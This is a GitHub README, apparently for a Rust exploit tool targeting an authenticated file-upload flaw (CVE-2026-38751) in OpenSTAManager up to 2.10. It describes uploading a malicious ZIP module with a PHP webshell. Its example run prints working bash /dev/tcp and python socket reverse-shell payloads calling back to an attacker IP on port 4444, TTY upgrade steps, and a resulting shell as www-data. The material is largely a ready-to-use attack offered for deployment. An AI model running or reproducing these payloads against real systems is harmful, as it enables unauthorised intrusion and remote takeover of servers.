b0ySie7e/OpenSTAManager-RCE-Exploit-CVE-2026-38751
GitHub: b0ySie7e/OpenSTAManager-RCE-Exploit-CVE-2026-38751
针对 OpenSTAManager 认证后任意文件上传漏洞(CVE-2026-38751)的全功能 Rust 利用工具,支持交互式 webshell 和反弹 shell。
Stars: 7 | Forks: 0
# OpenSTAManager RCE 漏洞利用 (CVE-2026-38751)
**任意文件上传导致远程代码执行**
针对 **CVE-2026-38751** 的全功能概念验证,使用 **Rust** 编写。
## 描述
OpenSTAManager ≤ 2.10 存在 **认证后任意文件上传漏洞**,允许攻击者上传包含 PHP webshell 的恶意 ZIP 归档。此 PoC 自动化了以下过程:
- 使用有效凭据登录
- 上传带有 webshell 的恶意模块
- 验证漏洞
- **交互式 web shell**(执行命令)
- **反弹 shell**,支持 TTY 处理(多种 payload)
- 清理上传的后门文件
## 功能特性
| 功能 | 描述 |
|---------|-------------|
| **登录** | 使用提供的凭据进行身份验证。 |
| **ZIP 生成** | 创建包含有效 `MODULE` 描述符和 PHP shell 的 ZIP 文件。 |
| **文件上传** | 通过更新机制发送恶意 ZIP 文件。 |
| **验证** | 检查 shell 是否可访问并执行测试命令(`id`)。 |
| **交互式 Web‑shell** | 允许通过 webshell(`-i`)交互式运行命令。 |
| **反弹 shell** | 发送多种 payload(bash、python、base64、nc、mkfifo)以获取 shell。 |
| **TTY 升级指南** | 展示获取完全交互式 TTY 的分步指南。 |
| **清理** | 自动移除上传的 `shell.php`(除非指定 `--no-cleanup`)。 |
## 🛠️ 环境要求
- [Rust](https://www.rust-lang.org/tools/install) (1.70+)
- 运行 OpenSTAManager ≤ 2.10 的 **目标系统**。
- 用于登录的 **有效用户账户**(包含密码)。
## 安装
克隆代码仓库并构建二进制文件:
```
git clone https://github.com/yourusername/OpenSTAManager-RCE-Exploit-CVE-2026-38751
cd OpenSTAManager-RCE-Exploit-CVE-2026-38751
cargo build --release
./target/release/openstamanager-rce-exploit --help
```
## 示例:
```
$ ./openstamanager-rce-exploit --url http://target.com/ -U -P --lhost 10.10.14.5 --lport 4444
[ OpenSTAManager RCE Exploit : ]
Target: http://target.com/
[*] Step 1: Login...
[+] Login successful: admin
[*] Step 2: Enable updates...
[+] Updates enabled
[*] Step 3: Create ZIP...
[*] Created in-memory ZIP file
[*] Shell location: /modules/shell/shell.php
[*] Step 4: Upload...
[*] Upload status: 500 Internal Server Error
[+] Upload successful
[*] Step 5: Verify...
[+] Vulnerability confirmed!
[+] Shell: http://target.com/modules/shell/shell.php
[+] Test: http://target.com/modules/shell/shell.php?c=whoami
[*] Listening on 10.10.14.5:4444...
[*] Trying payload: bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'
[-] Payload failed: operation timed out
[*] Trying payload: python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.5",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
[-] Payload failed: operation timed out
[*] Trying payload: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.5",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
[+] Payload sent successfully. Waiting for connection...
[+] Connection received from 10.129.19.238:55758
[*] Sent 'script /dev/null -c bash'
[*]
[*] Reverse shell established.
[*] To get a fully interactive TTY:
[*] 1. Press Ctrl+Z to suspend the shell.
[*] 2. Run: stty raw -echo; fg
[*] 3. When prompted for terminal type, type: xterm
[*] 4. Export: export TERM=xterm SHELL=bash
[*] 5. Adjust rows/columns with: stty rows columns
[*] (Get the size with: stty size)
[*]
[*] Press Ctrl+C to exit and cleanup the webshell.
bash: cannot set terminal process group (1481): Inappropriate ioctl for device
bash: no job control in this shell
www-data@target:~/html/openstamanager/modules/shell$ script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@target:~/html/openstamanager/modules/shell$ whoami
whoami
www-data
www-data@target:~/html/openstamanager/modules/shell$
```
标签:CISA项目, RCE利用, Rust, Webshell, 可视化界面, 网络流量审计, 通知系统